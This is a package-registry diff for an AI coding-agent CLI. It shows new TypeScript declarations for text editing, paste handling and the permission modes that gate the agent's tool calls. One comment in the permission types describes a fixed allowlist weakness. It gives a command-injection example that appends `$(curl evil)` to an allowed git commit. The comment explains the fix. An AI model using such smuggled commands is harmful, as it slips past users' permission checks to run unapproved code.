@kodax-ai/kodax 0.7.71 → 0.7.72

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (86) hide show
  1. package/CHANGELOG.md +602 -487
  2. package/README.md +46 -27
  3. package/README_CN.md +30 -13
  4. package/dist/chunks/agent-YKGU4USA.js +2 -0
  5. package/dist/chunks/argument-completer-QZETLNAB.js +2 -0
  6. package/dist/chunks/{chunk-SX2WFHIS.js → chunk-2RI252RN.js} +1 -1
  7. package/dist/chunks/chunk-CLFP6UGU.js +71 -0
  8. package/dist/chunks/chunk-E27LHEIP.js +37 -0
  9. package/dist/chunks/chunk-EDZ5KJFT.js +5 -0
  10. package/dist/chunks/chunk-GIK4SGAT.js +364 -0
  11. package/dist/chunks/chunk-GVWPHE23.js +310 -0
  12. package/dist/chunks/{chunk-A2TFSV5M.js → chunk-IR5KIK7E.js} +1 -1
  13. package/dist/chunks/chunk-JSDLBXME.js +755 -0
  14. package/dist/chunks/chunk-MVARIMQV.js +22 -0
  15. package/dist/chunks/chunk-PKQOEDHJ.js +628 -0
  16. package/dist/chunks/{chunk-64NQBOSN.js → chunk-SQODXBLX.js} +1 -1
  17. package/dist/chunks/chunk-VDGCGOQH.js +328 -0
  18. package/dist/chunks/chunk-VVE3UM4F.js +410 -0
  19. package/dist/chunks/chunk-WIBLZK4G.js +151 -0
  20. package/dist/chunks/{compaction-config-5KKKXYFT.js → compaction-config-TWCDFLX6.js} +1 -1
  21. package/dist/chunks/{construction-bootstrap-OXDDDW6O.js → construction-bootstrap-ZJPXUPXQ.js} +1 -1
  22. package/dist/chunks/dist-JT4ATXVM.js +2 -0
  23. package/dist/chunks/host-SVEDZUC5.js +2 -0
  24. package/dist/chunks/{run-manager-Z3W6MDO7.js → run-manager-RX42UNEM.js} +1 -1
  25. package/dist/chunks/{utils-CFOXDCB5.js → utils-OTT5CG5J.js} +1 -1
  26. package/dist/index.d.ts +13 -13
  27. package/dist/index.js +4 -4
  28. package/dist/kodax_bootstrap.js +28 -0
  29. package/dist/kodax_cli.js +1325 -1333
  30. package/dist/kodax_resume.js +44 -0
  31. package/dist/provider-capabilities.json +50 -48
  32. package/dist/runtime-worker.js +1322 -1330
  33. package/dist/sdk-a2a.d.ts +10 -9
  34. package/dist/sdk-a2a.js +1 -1
  35. package/dist/sdk-agent.d.ts +382 -206
  36. package/dist/sdk-agent.js +1 -1
  37. package/dist/sdk-coding.d.ts +80 -128
  38. package/dist/sdk-coding.js +1 -1
  39. package/dist/sdk-experimental-memory.js +1 -1
  40. package/dist/sdk-mcp.js +1 -1
  41. package/dist/sdk-media.d.ts +3 -0
  42. package/dist/sdk-media.js +1 -1
  43. package/dist/sdk-repl.d.ts +71 -23
  44. package/dist/sdk-repl.js +2 -2
  45. package/dist/sdk-runtime.d.ts +143 -31
  46. package/dist/sdk-runtime.js +1 -1
  47. package/dist/sdk-session.d.ts +6 -5
  48. package/dist/sdk-session.js +1 -1
  49. package/dist/sdk-skills.d.ts +5 -5
  50. package/dist/sdk-skills.js +1 -1
  51. package/dist/semantic-worker.js +14 -14
  52. package/dist/types-chunks/{bash-prefix-extractor.d-YoiZl5yt.d.ts → bash-prefix-extractor.d-CHJO5y94.d.ts} +107 -248
  53. package/dist/types-chunks/{capsule.d-CK5Pfz1k.d.ts → capsule.d-DxtdE-GD.d.ts} +24 -95
  54. package/dist/types-chunks/center-types.d-BBT122uJ.d.ts +91 -0
  55. package/dist/types-chunks/{commands.d-D6g2jq8V.d.ts → commands.d-DZxHzH5-.d.ts} +6 -4
  56. package/dist/types-chunks/{guardrail.d-DilYC1dh.d.ts → guardrail.d-DlpMnd-Y.d.ts} +1 -1
  57. package/dist/types-chunks/{guardrail.d-DdeDWnVu.d.ts → guardrail.d-auV61_h5.d.ts} +83 -10
  58. package/dist/types-chunks/public-api.d--IDNJsu1.d.ts +1342 -0
  59. package/dist/types-chunks/{run-manager.d-DxU3SSGR.d.ts → run-manager.d-Bh50OdVl.d.ts} +1 -1
  60. package/dist/types-chunks/sdk-session-Cfw6NFu-.d.ts +82 -0
  61. package/dist/types-chunks/{types.d-CEZZSY9s.d.ts → types.d-CNZgY52F.d.ts} +2 -2
  62. package/dist/types-chunks/{types.d-vJExiRje.d.ts → types.d-DCQVBqVn.d.ts} +10 -5
  63. package/dist/types-chunks/{types.d-CRCaLt_s.d.ts → types.d-DH1mvdcl.d.ts} +284 -164
  64. package/dist/types-chunks/{types.d-CzsLFqmf.d.ts → types.d-EqQmHztg.d.ts} +9 -10
  65. package/dist/types-chunks/{utils.d-Cb6vdvFM.d.ts → utils.d-gmn3c5U4.d.ts} +9 -12
  66. package/docs/SDK_EMBEDDER_GUIDE.md +171 -26
  67. package/package.json +4 -4
  68. package/scripts/kodax-bin.cjs +4 -2
  69. package/scripts/production-env.cjs +9 -0
  70. package/dist/chunks/agent-X2EWQADL.js +0 -2
  71. package/dist/chunks/argument-completer-BLNXDO2F.js +0 -2
  72. package/dist/chunks/chunk-4DY756KL.js +0 -70
  73. package/dist/chunks/chunk-52JSZ77P.js +0 -37
  74. package/dist/chunks/chunk-A574DBTV.js +0 -422
  75. package/dist/chunks/chunk-F7KGYHJ3.js +0 -624
  76. package/dist/chunks/chunk-GVTM4Z6O.js +0 -151
  77. package/dist/chunks/chunk-PHH4TRGF.js +0 -22
  78. package/dist/chunks/chunk-PVUXONQB.js +0 -366
  79. package/dist/chunks/chunk-T7LYK53M.js +0 -329
  80. package/dist/chunks/chunk-VRSVNU2Y.js +0 -7
  81. package/dist/chunks/chunk-Y5XKAN7C.js +0 -755
  82. package/dist/chunks/chunk-Z535BARK.js +0 -306
  83. package/dist/chunks/dist-IXJRJ27U.js +0 -2
  84. package/dist/chunks/host-VRKDAN26.js +0 -2
  85. package/dist/types-chunks/public-api.d-BvCp5VkW.d.ts +0 -601
  86. package/dist/types-chunks/sdk-session-wGpa7X_U.d.ts +0 -796
@@ -0,0 +1,1342 @@
1
+ import { a as BashPrefixExtractor, t as KodaXAgentMode } from './bash-prefix-extractor.d-CHJO5y94.js';
2
+ import { F as KodaXReasoningMode, k as KodaXMessage, S as KodaXTaskResultMetadata } from './types.d-Cqaw71Ax.js';
3
+ import { p as LearningSurfaceSnapshot$1, n as LearningQuery, m as LearningPage, b as LearnedCapabilityRecord, j as LearningEvent, o as LearningSubscribeOptions } from './center-types.d-BBT122uJ.js';
4
+ import { bG as KodaXSessionData, bL as KodaXSessionLineage, bQ as KodaXSessionNavigationOptions, bS as KodaXSessionRuntimeInfo, bU as KodaXSessionStorage, i as AgentActorSnapshot, bx as KodaXJsonValue } from './types.d-DH1mvdcl.js';
5
+
6
+ /**
7
+ * TextBuffer - Text buffer management class - 文本缓冲区管理类
8
+ *
9
+ * Reference implementation: Gemini CLI text-buffer.ts - 参考实现: Gemini CLI text-buffer.ts
10
+ * Supports multi-line text editing, cursor navigation, and Unicode-safe operations - 支持多行文本编辑,光标导航,Unicode 安全操作
11
+ */
12
+ interface CursorPosition {
13
+ row: number;
14
+ col: number;
15
+ }
16
+ interface VisualCursor$1 {
17
+ row: number;
18
+ col: number;
19
+ }
20
+ interface TextBufferOptions {
21
+ maxHistory?: number;
22
+ }
23
+ declare class TextBuffer {
24
+ private _text;
25
+ private _lines;
26
+ private _cursor;
27
+ private _rememberedCol;
28
+ private _history;
29
+ private _historyIndex;
30
+ private _maxHistory;
31
+ constructor(options?: TextBufferOptions);
32
+ get text(): string;
33
+ get lines(): string[];
34
+ get cursor(): CursorPosition;
35
+ get lineCount(): number;
36
+ get currentLine(): string;
37
+ get isEmpty(): boolean;
38
+ /**
39
+ * Get visual width of current line - 获取当前行的视觉宽度
40
+ */
41
+ get currentLineVisualWidth(): number;
42
+ /**
43
+ * Get visual position of cursor (considering wide characters) - 获取光标的视觉位置(考虑宽字符)
44
+ */
45
+ get visualCursor(): VisualCursor$1;
46
+ /**
47
+ * Get visual width of character at cursor position on current line - 获取当前行在光标位置的字符视觉宽度
48
+ */
49
+ getCharWidthAtCursor(): number;
50
+ /**
51
+ * Convert visual column position to logical column position - 将视觉列位置转换为逻辑列位置
52
+ */
53
+ visualColToLogicalCol(visualCol: number): number;
54
+ /**
55
+ * Move to visual column position - 移动到视觉列位置
56
+ */
57
+ moveToVisualCol(visualCol: number): void;
58
+ /**
59
+ * Set entire text content - 设置整个文本内容
60
+ */
61
+ setText(text: string): void;
62
+ /**
63
+ * Replace a text range and leave the cursor after the replacement.
64
+ */
65
+ replaceRange(start: number, end: number, replacement: string): void;
66
+ /**
67
+ * Insert text at cursor position - 在光标位置插入文本
68
+ */
69
+ insert(text: string, options?: {
70
+ paste?: boolean;
71
+ }): void;
72
+ /**
73
+ * Insert text on current line - 在当前行插入文本
74
+ */
75
+ private _insertText;
76
+ /**
77
+ * Insert newline character - 插入换行符
78
+ */
79
+ newline(): void;
80
+ private _insertNewline;
81
+ /**
82
+ * Delete character before cursor - 删除光标前的字符
83
+ */
84
+ backspace(): void;
85
+ /**
86
+ * Delete character after cursor - 删除光标后的字符
87
+ */
88
+ delete(): void;
89
+ /**
90
+ * Move cursor - 移动光标
91
+ */
92
+ move(direction: "up" | "down" | "left" | "right" | "home" | "end"): void;
93
+ private _moveUp;
94
+ private _moveDown;
95
+ private _moveLeft;
96
+ private _moveRight;
97
+ private _moveHome;
98
+ private _moveEnd;
99
+ /**
100
+ * Clamp column position within current line range using rememberedCol - 限制列位置在当前行范围内,使用 rememberedCol
101
+ */
102
+ private _clampColumn;
103
+ /**
104
+ * Clamp cursor to valid range - 限制光标在有效范围内
105
+ */
106
+ private _clampCursor;
107
+ /**
108
+ * Delete content from cursor to end of line (Ctrl+K) - 删除光标到行尾的内容 (Ctrl+K)
109
+ */
110
+ killLineRight(): void;
111
+ /**
112
+ * Delete content from line start to cursor (Ctrl+U) - 删除行首到光标的内容 (Ctrl+U)
113
+ */
114
+ killLineLeft(): void;
115
+ /**
116
+ * Delete word before cursor (Ctrl+W) - 删除光标前的一个词 (Ctrl+W)
117
+ */
118
+ deleteWordLeft(): void;
119
+ private _saveHistory;
120
+ /**
121
+ * Undo - 撤销
122
+ */
123
+ undo(): boolean;
124
+ /**
125
+ * Redo - 重做
126
+ */
127
+ redo(): boolean;
128
+ private _updateText;
129
+ private _setTextInternal;
130
+ /**
131
+ * Move cursor to an absolute string offset - 将光标移动到文本中的绝对偏移位置
132
+ */
133
+ moveToAbsoluteOffset(offset: number): void;
134
+ /**
135
+ * Clear buffer - 清空缓冲区
136
+ */
137
+ clear(): void;
138
+ /**
139
+ * Get absolute position of cursor in text - 获取光标在文本中的绝对位置
140
+ */
141
+ getAbsoluteOffset(): number;
142
+ /**
143
+ * Check if current line ends with backslash - 检查当前行是否以反斜杠结尾
144
+ */
145
+ isLineContinuation(): boolean;
146
+ /**
147
+ * Move cursor to end of entire text - 将光标移动到整个文本的末尾
148
+ */
149
+ moveToEnd(): void;
150
+ }
151
+
152
+ /**
153
+ * PasteStore — per-session paste content registry + placeholder ref helpers.
154
+ *
155
+ * Design: see docs/KNOWN_ISSUES.md Issue 121 (三层防御:粘贴拦截 / 输入兜底 / 渲染硬上限).
156
+ * Reference implementation: Claude Code src/history.ts + src/utils/pasteStore.ts.
157
+ *
158
+ * Responsibilities (pure / deterministic where possible):
159
+ * - Format / parse `[Pasted text #N +K lines]` and related refs
160
+ * - Allocate monotonic per-session paste IDs
161
+ * - Store / expand paste content in memory
162
+ * - Find placeholder boundaries adjacent to cursor (for atomic edit)
163
+ *
164
+ * Stateful concerns are confined to the `PasteStore` class. Everything else is
165
+ * pure so rendering and controller code can call them safely.
166
+ */
167
+ type PastedContentType = "text" | "image";
168
+ interface PastedContent {
169
+ id: number;
170
+ type: PastedContentType;
171
+ content: string;
172
+ /** Optional sha256 hash — set when backed by on-disk paste-cache */
173
+ contentHash?: string;
174
+ /** Media type for image pastes; unused for text */
175
+ mediaType?: string;
176
+ /** Optional filename hint for image pastes */
177
+ filename?: string;
178
+ }
179
+ /**
180
+ * Session-scoped stateful registry. One instance per REPL session (not per
181
+ * paste). Lives as long as the composer. IDs are monotonic and never recycled
182
+ * so undo/redo never collides with a fresh paste that reused an id.
183
+ */
184
+ declare class PasteStore {
185
+ private readonly contents;
186
+ private nextId;
187
+ /**
188
+ * Register text content, returns the allocated id + the placeholder string
189
+ * to insert into the buffer in place of the raw content.
190
+ */
191
+ registerText(content: string): {
192
+ id: number;
193
+ placeholder: string;
194
+ numLines: number;
195
+ };
196
+ /**
197
+ * Register pre-computed Layer 2 truncation output. Caller is responsible
198
+ * for constructing the truncated text; this just stores the middle chunk.
199
+ */
200
+ registerTruncatedText(content: string): {
201
+ id: number;
202
+ numLines: number;
203
+ };
204
+ /**
205
+ * Adopt a pre-allocated id + content (e.g. when restoring from disk-backed
206
+ * input history).
207
+ */
208
+ adopt(entry: PastedContent): void;
209
+ /** Allocate the NEXT id without registering anything yet. */
210
+ peekNextId(): number;
211
+ get(id: number): PastedContent | undefined;
212
+ /** Expand all placeholders in `input` using this store's contents. */
213
+ expand(input: string): string;
214
+ /**
215
+ * Snapshot the current contents map. Returned map is a COPY — mutation does
216
+ * not leak back. Used by undo buffer snapshots.
217
+ */
218
+ snapshot(): Map<number, PastedContent>;
219
+ /** Replace contents from a snapshot. Used by undo. `nextId` preserved. */
220
+ restore(snapshot: ReadonlyMap<number, PastedContent>): void;
221
+ /**
222
+ * Session-level reset. Called on `/clear`, start-new-session, etc.
223
+ * Does NOT clear on per-submit since Up-arrow navigation re-submits may
224
+ * reuse stored refs.
225
+ */
226
+ reset(): void;
227
+ size(): number;
228
+ /** Export contents for persistence (input history serialization). */
229
+ export(): PastedContent[];
230
+ }
231
+
232
+ /**
233
+ * Permission Types
234
+ */
235
+
236
+ /**
237
+ * Permission mode
238
+ * - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
239
+ * - accept-edits: File edits auto-approved, shell commands require confirmation
240
+ * - auto: All tools auto-approved (with optional LLM classifier review when
241
+ * auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
242
+ * falls back to the legacy "all tools approved within project, outside
243
+ * requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
244
+ * shape. The `auto-in-project` name is preserved as a deprecated alias
245
+ * for 5 minor versions (removed in v0.7.38).
246
+ */
247
+ type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
248
+ declare const PERMISSION_MODES: PermissionMode[];
249
+ /**
250
+ * Status-bar display name for a permission mode. Title-Case short labels
251
+ * (mirrors Claude Code's `shortTitle` convention in
252
+ * `src/utils/permissions/PermissionMode.ts`):
253
+ * - `plan` → `Plan`
254
+ * - `accept-edits` → `Edits`
255
+ * - `auto` → `Auto`
256
+ * - `auto-in-project` → `Auto` (deprecated alias folds into the canonical
257
+ * display name; the deprecation notice
258
+ * surfaces once per session at startup)
259
+ *
260
+ * Single source of truth for command output, startup summaries, and the live
261
+ * Ink status-bar view-model. The former write-only readline StatusBar was
262
+ * removed; Classic continues to use the same display helper in text surfaces.
263
+ */
264
+ declare function permissionModeDisplayName(mode: PermissionMode): string;
265
+ interface ConfirmResult {
266
+ confirmed: boolean;
267
+ always?: boolean;
268
+ }
269
+ /**
270
+ * Tools that mutate the local filesystem AND accept a `path` input.
271
+ * Eligible for plan-mode's path-aware escape (writes to
272
+ * `.agent/plan_mode_doc.md` or the system temp dir are permitted; all
273
+ * other paths block).
274
+ *
275
+ * Derived from metadata: `sideEffect === 'mutates-fs'` AND
276
+ * `requiredParams.includes('path')`. Tools that mutate the FS without a
277
+ * `path` input (`undo`, `worktree_*`, construction-staircase tools) are
278
+ * NOT in this set — their plan-mode block reason is computed elsewhere
279
+ * via `isToolPlanModeAllowed()` instead of a path check.
280
+ */
281
+ declare const FILE_MODIFICATION_TOOLS: Set<string>;
282
+ interface PermissionContext {
283
+ permissionMode: PermissionMode;
284
+ confirmTools: Set<string>;
285
+ gitRoot?: string;
286
+ alwaysAllowTools: string[];
287
+ onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
288
+ saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
289
+ switchPermissionMode?: (mode: PermissionMode) => void;
290
+ beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
291
+ /**
292
+ * FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
293
+ * When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
294
+ * a bash command before matching against allowlist patterns like
295
+ * `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
296
+ * where `git commit -m "x" $(curl evil)` matched the allowlist via naive
297
+ * `command.startsWith` semantics.
298
+ *
299
+ * KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
300
+ * `@kodax-ai/coding` and threads it here. SDK consumers / tests without
301
+ * LLM access can omit it; legacy startsWith semantics apply (documented
302
+ * as insecure in `matchesBashPatternLegacy`).
303
+ */
304
+ bashPrefixExtractor?: BashPrefixExtractor;
305
+ }
306
+ /**
307
+ * Compute the base confirmation set for each permission mode.
308
+ *
309
+ * Note: `plan` still lists the standard mutating tools here even though most of
310
+ * them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
311
+ * This helper only describes the remaining confirmation step for calls that are
312
+ * not hard-blocked.
313
+ */
314
+ declare function computeConfirmTools(mode: PermissionMode): Set<string>;
315
+ declare function isPermissionMode(value: string | undefined): value is PermissionMode;
316
+ declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;
317
+
318
+ /**
319
+ * Keyboard info interface - 键盘信息接口
320
+ * Reference: Gemini CLI Key interface - 参考: Gemini CLI Key interface
321
+ */
322
+ interface KeyInfo {
323
+ name: string;
324
+ sequence: string;
325
+ ctrl: boolean;
326
+ meta: boolean;
327
+ shift: boolean;
328
+ insertable: boolean;
329
+ isPasted?: boolean;
330
+ mouse?: {
331
+ action: "press" | "release" | "drag" | "move" | "wheel";
332
+ button: "left" | "middle" | "right" | "wheelup" | "wheeldown" | "unknown";
333
+ row: number;
334
+ column: number;
335
+ };
336
+ }
337
+
338
+ type PromptEditingMode = "idle" | "typing" | "pasting";
339
+ interface UseTextBufferReturn {
340
+ buffer: TextBuffer;
341
+ text: string;
342
+ cursor: CursorPosition;
343
+ lines: string[];
344
+ isPasting: boolean;
345
+ editingMode: PromptEditingMode;
346
+ /**
347
+ * Issue 121: session-scoped paste registry. Registered paste ids survive
348
+ * submit so Up-arrow input-history recall can still expand them.
349
+ */
350
+ pasteStore: PasteStore;
351
+ resetTransientState: () => void;
352
+ setText: (text: string) => void;
353
+ replaceRange: (start: number, end: number, replacement: string) => void;
354
+ insert: (text: string, options?: {
355
+ paste?: boolean;
356
+ }) => void;
357
+ newline: () => void;
358
+ backspace: () => void;
359
+ delete: () => void;
360
+ move: (direction: "up" | "down" | "left" | "right" | "home" | "end") => void;
361
+ moveToEnd: () => void;
362
+ moveToOffset: (offset: number) => void;
363
+ killLineRight: () => void;
364
+ killLineLeft: () => void;
365
+ deleteWordLeft: () => void;
366
+ clear: () => void;
367
+ undo: () => boolean;
368
+ redo: () => boolean;
369
+ }
370
+ /**
371
+ * Visual Layout Interface - 视觉布局接口
372
+ * Reference: Gemini CLI text-buffer.ts - VisualLayout
373
+ */
374
+ interface VisualLayout {
375
+ /** All visual lines for rendering - 所有视觉行(用于渲染) */
376
+ visualLines: string[];
377
+ /** For each logical line: [[visualLineIndex, startColInLogical], ...] - 每个逻辑行 -> 视觉行索引 + 起始列的映射 */
378
+ logicalToVisualMap: Array<Array<[number, number]>>;
379
+ /** For each visual line: [logicalLineIndex, startColInLogical] - 每个视觉行 -> 逻辑行 + 起始列的映射 */
380
+ visualToLogicalMap: Array<[number, number]>;
381
+ }
382
+ type VisualCursor = [number, number];
383
+ /**
384
+ * An input-history entry. `text` is the display form (may contain
385
+ * `[Pasted text #N]` placeholders). `pastedContents`, when present, carries
386
+ * the stored contents needed to expand those placeholders after recall.
387
+ *
388
+ * Issue 121: pastedContents preserves paste fidelity across Up-arrow and
389
+ * undo. For entries loaded from disk-backed history, contents may carry only
390
+ * `contentHash` until `retrievePastedText` resolves them.
391
+ */
392
+ interface HistoryEntry {
393
+ text: string;
394
+ timestamp: number;
395
+ pastedContents?: PastedContent[];
396
+ }
397
+ interface Completion {
398
+ text: string;
399
+ display: string;
400
+ description?: string;
401
+ type: "file" | "command" | "argument";
402
+ }
403
+ interface Completer {
404
+ canComplete(input: string, cursorPos: number): boolean;
405
+ getCompletions(input: string, cursorPos: number): Promise<Completion[]>;
406
+ }
407
+ /**
408
+ * Autocomplete suggestion item - 自动补全建议项
409
+ * For SuggestionsDisplay component - 用于 SuggestionsDisplay 组件
410
+ */
411
+ interface Suggestion {
412
+ id: string;
413
+ text: string;
414
+ displayText?: string;
415
+ description?: string;
416
+ type?: "command" | "file" | "history" | "argument" | "snippet" | "skill";
417
+ icon?: string;
418
+ }
419
+ interface ThemeColors {
420
+ primary: string;
421
+ secondary: string;
422
+ accent: string;
423
+ text: string;
424
+ dim: string;
425
+ thinking: string;
426
+ success: string;
427
+ warning: string;
428
+ error: string;
429
+ info: string;
430
+ hint: string;
431
+ background: string;
432
+ inputBackground: string;
433
+ }
434
+ interface ThemeSymbols {
435
+ prompt: string;
436
+ success: string;
437
+ error: string;
438
+ warning: string;
439
+ spinner: string[];
440
+ }
441
+ interface Theme {
442
+ name: string;
443
+ colors: ThemeColors;
444
+ symbols: ThemeSymbols;
445
+ }
446
+ interface PromptSubmitPayload {
447
+ /**
448
+ * Display form — what the user saw in the input bar. May contain
449
+ * `[Pasted text #N +K lines]` placeholders or `[...Truncated text #N ...]`
450
+ * refs (Issue 121).
451
+ */
452
+ displayText: string;
453
+ /**
454
+ * Fully expanded form — all paste placeholders substituted for their raw
455
+ * stored contents. This is what parseCommand / the agent pipeline consume.
456
+ */
457
+ fullText: string;
458
+ /** Paste contents referenced by displayText — for persistence / recall. */
459
+ pastedContents: PastedContent[];
460
+ }
461
+ interface InputPromptProps {
462
+ onSubmit: (payload: PromptSubmitPayload) => void;
463
+ placeholder?: string;
464
+ prompt?: string;
465
+ focus?: boolean;
466
+ initialValue?: string;
467
+ /** Callback when input text changes - 输入文本变化时的回调 */
468
+ onInputChange?: (text: string) => void;
469
+ /** Called for a transient UI notice when image paste falls back to text. */
470
+ onPasteFallback?: (message: string) => void;
471
+ /**
472
+ * Called when the ↑ arrow history recall brings back an entry with stored
473
+ * paste contents. Consumer can hydrate a disk-backed paste cache here.
474
+ */
475
+ onHistoryRecall?: (entry: {
476
+ text: string;
477
+ pastedContents: PastedContent[];
478
+ }) => void;
479
+ /**
480
+ * FEATURE_149 Phase 2.1 (v0.7.38) — pop the queued follow-up inputs back
481
+ * into the editor when the user presses ↑ on an empty buffer. Return the
482
+ * joined text to load (queue gets atomically cleared by the consumer), or
483
+ * `undefined` to leave history-recall behavior intact when the queue is
484
+ * empty.
485
+ */
486
+ onPopPendingInputs?: () => string | undefined;
487
+ }
488
+ type LearningSurfaceSnapshot = LearningSurfaceSnapshot$1;
489
+ interface LearningBinding {
490
+ getSnapshot(): Promise<LearningSurfaceSnapshot>;
491
+ list(query?: LearningQuery): Promise<LearningPage>;
492
+ get(nameOrSlug: string): Promise<LearnedCapabilityRecord>;
493
+ subscribe(listener: (event: LearningEvent) => void, options?: LearningSubscribeOptions): {
494
+ close(): void;
495
+ };
496
+ acknowledge(nameOrSlug: string): Promise<void>;
497
+ snooze(nameOrSlug: string, until: string): Promise<void>;
498
+ reject(nameOrSlug: string): Promise<void>;
499
+ disable(nameOrSlug: string): Promise<void>;
500
+ rollback(nameOrSlug: string): Promise<void>;
501
+ promote(nameOrSlug: string, scope: 'user'): Promise<void>;
502
+ review(nameOrSlug: string): Promise<void>;
503
+ trust(nameOrSlug: string): Promise<void>;
504
+ }
505
+ interface StatusBarProps {
506
+ sessionId: string;
507
+ permissionMode: PermissionMode;
508
+ agentMode: KodaXAgentMode;
509
+ provider: string;
510
+ model: string;
511
+ tokenUsage?: {
512
+ input: number;
513
+ output: number;
514
+ total: number;
515
+ };
516
+ currentTool?: string;
517
+ activeToolCount?: number;
518
+ thinking?: boolean;
519
+ reasoningMode?: KodaXReasoningMode;
520
+ effort?: string;
521
+ reasoningEffortLabel?: string;
522
+ reasoningCapability?: string;
523
+ /** Is context currently compacting - 是否正在压缩上下文 */
524
+ isCompacting?: boolean;
525
+ /** Thinking character count - Issue 068: 显示 thinking 进度 */
526
+ thinkingCharCount?: number;
527
+ /** Whether a thinking stream is currently active */
528
+ isThinkingActive?: boolean;
529
+ /** Tool input character count - Issue 068: 显示 tool 输入进度 */
530
+ toolInputCharCount?: number;
531
+ /** Tool input content (truncated) - Issue 068 Phase 4: 显示参数摘要 */
532
+ toolInputContent?: string;
533
+ /** Current iteration number - Issue 068: 显示迭代进度 */
534
+ currentIteration?: number;
535
+ /** Maximum iterations - Issue 068: 显示迭代进度 */
536
+ maxIter?: number;
537
+ /** Context usage info - Issue 070: 显示上下文使用情况 */
538
+ contextUsage?: {
539
+ /** Current token count in context */
540
+ currentTokens: number;
541
+ /** Context window size (effective contextWindow) */
542
+ contextWindow: number;
543
+ /** Compaction trigger percentage (0-100) */
544
+ triggerPercent: number;
545
+ /** Provider output capacity reserved from the physical context window. */
546
+ reservedResponseTokens?: number;
547
+ };
548
+ /** Client-specific Learning Center projection. Inventory alone stays hidden. */
549
+ learning?: LearningSurfaceSnapshot;
550
+ /** Whether current busy/thinking status should be visible in the bar */
551
+ showBusyStatus?: boolean;
552
+ managedPhase?: "starting" | "routing" | "preflight" | "round" | "worker" | "upgrade" | "verifying" | "completed";
553
+ managedHarnessProfile?: string;
554
+ managedWorkerTitle?: string;
555
+ managedRound?: number;
556
+ managedMaxRounds?: number;
557
+ managedGlobalWorkBudget?: number;
558
+ managedBudgetUsage?: number;
559
+ managedBudgetApprovalRequired?: boolean;
560
+ /**
561
+ * v0.7.38 FEATURE_156 — true when the runner-driven outer loop is
562
+ * parked in `waitForWakeEvent` (idle-yield from FEATURE_155). The
563
+ * status bar renders this as "{role} - waiting for N children"
564
+ * instead of falling back to the last role-emit label, so the user
565
+ * can tell the spinner is actively waiting on something concrete.
566
+ * Consumers MUST branch on `=== true` (undefined transitions out).
567
+ */
568
+ managedIdleWaiting?: boolean;
569
+ /** v0.7.38 FEATURE_156 — child count surfaced in the idle-wait label. */
570
+ managedIdleWaitingPendingCount?: number;
571
+ /**
572
+ * FEATURE_092 phase 2b.8: classifier engine indicator. Only renders when
573
+ * permissionMode is in the auto family. `'llm'` shows green `auto[LLM]`
574
+ * (healthy), `'rules'` shows yellow `auto[RULES]` (downgraded — every
575
+ * non-Tier-1 tool call escalates to user confirm).
576
+ */
577
+ autoModeEngine?: 'llm' | 'rules';
578
+ }
579
+ /**
580
+ * @deprecated Use MessageListProps from components/MessageList.js instead
581
+ */
582
+ interface LegacyMessageListProps {
583
+ messages: Message[];
584
+ isLoading?: boolean;
585
+ }
586
+ interface Message {
587
+ id: string;
588
+ role: "user" | "assistant" | "system";
589
+ content: string;
590
+ timestamp: number;
591
+ }
592
+ interface AppState {
593
+ messages: Message[];
594
+ isLoading: boolean;
595
+ error?: string;
596
+ sessionId: string;
597
+ }
598
+ interface AppProps {
599
+ model: string;
600
+ provider: string;
601
+ onSubmit: (input: string) => Promise<void>;
602
+ permissionMode?: PermissionMode;
603
+ agentMode?: KodaXAgentMode;
604
+ }
605
+ /**
606
+ * Streaming response state enum - 流式响应状态枚举
607
+ * Reference: Gemini CLI StreamingContext.tsx - 参考: Gemini CLI StreamingContext.tsx
608
+ */
609
+ declare enum StreamingState {
610
+ Idle = "idle",
611
+ Responding = "responding",
612
+ WaitingForConfirmation = "waiting_for_confirmation"
613
+ }
614
+ /**
615
+ * Tool call status enum - 工具调用状态枚举
616
+ * Reference: Gemini CLI useToolScheduler - 参考: Gemini CLI useToolScheduler
617
+ */
618
+ declare enum ToolCallStatus {
619
+ Scheduled = "scheduled",
620
+ Validating = "validating",
621
+ AwaitingApproval = "awaiting_approval",
622
+ Executing = "executing",
623
+ Success = "success",
624
+ Error = "error",
625
+ Cancelled = "cancelled"
626
+ }
627
+ /**
628
+ * Tool call status icons - 工具调用状态图标
629
+ */
630
+ declare const TOOL_STATUS_ICONS: Record<ToolCallStatus, string>;
631
+ /**
632
+ * Single tool call - 单个工具调用
633
+ */
634
+ interface ToolCall {
635
+ id: string;
636
+ name: string;
637
+ status: ToolCallStatus;
638
+ input?: Record<string, unknown>;
639
+ preview?: string;
640
+ output?: unknown;
641
+ error?: string;
642
+ progress?: number;
643
+ /** Real-time progress lines displayed inside the tool block during execution. */
644
+ progressLines?: string[];
645
+ startTime: number;
646
+ endTime?: number;
647
+ }
648
+ /**
649
+ * History item type - 历史项类型
650
+ * Reference: Gemini CLI HistoryItem - 参考: Gemini CLI HistoryItem
651
+ */
652
+ type HistoryItemType = "user" | "assistant" | "system" | "tool_group" | "thinking" | "error" | "event" | "info" | "hint" | "sidecar";
653
+ /**
654
+ * History item base class - 历史项基类
655
+ */
656
+ interface HistoryItemBase {
657
+ id: string;
658
+ type: HistoryItemType;
659
+ timestamp: number;
660
+ }
661
+ /**
662
+ * User message - 用户消息
663
+ */
664
+ interface HistoryItemUser extends HistoryItemBase {
665
+ type: "user";
666
+ text: string;
667
+ }
668
+ /**
669
+ * Assistant message - 助手消息
670
+ */
671
+ interface HistoryItemAssistant extends HistoryItemBase {
672
+ type: "assistant";
673
+ text: string;
674
+ compactText?: string;
675
+ isStreaming?: boolean;
676
+ }
677
+ /**
678
+ * System message - 系统消息
679
+ */
680
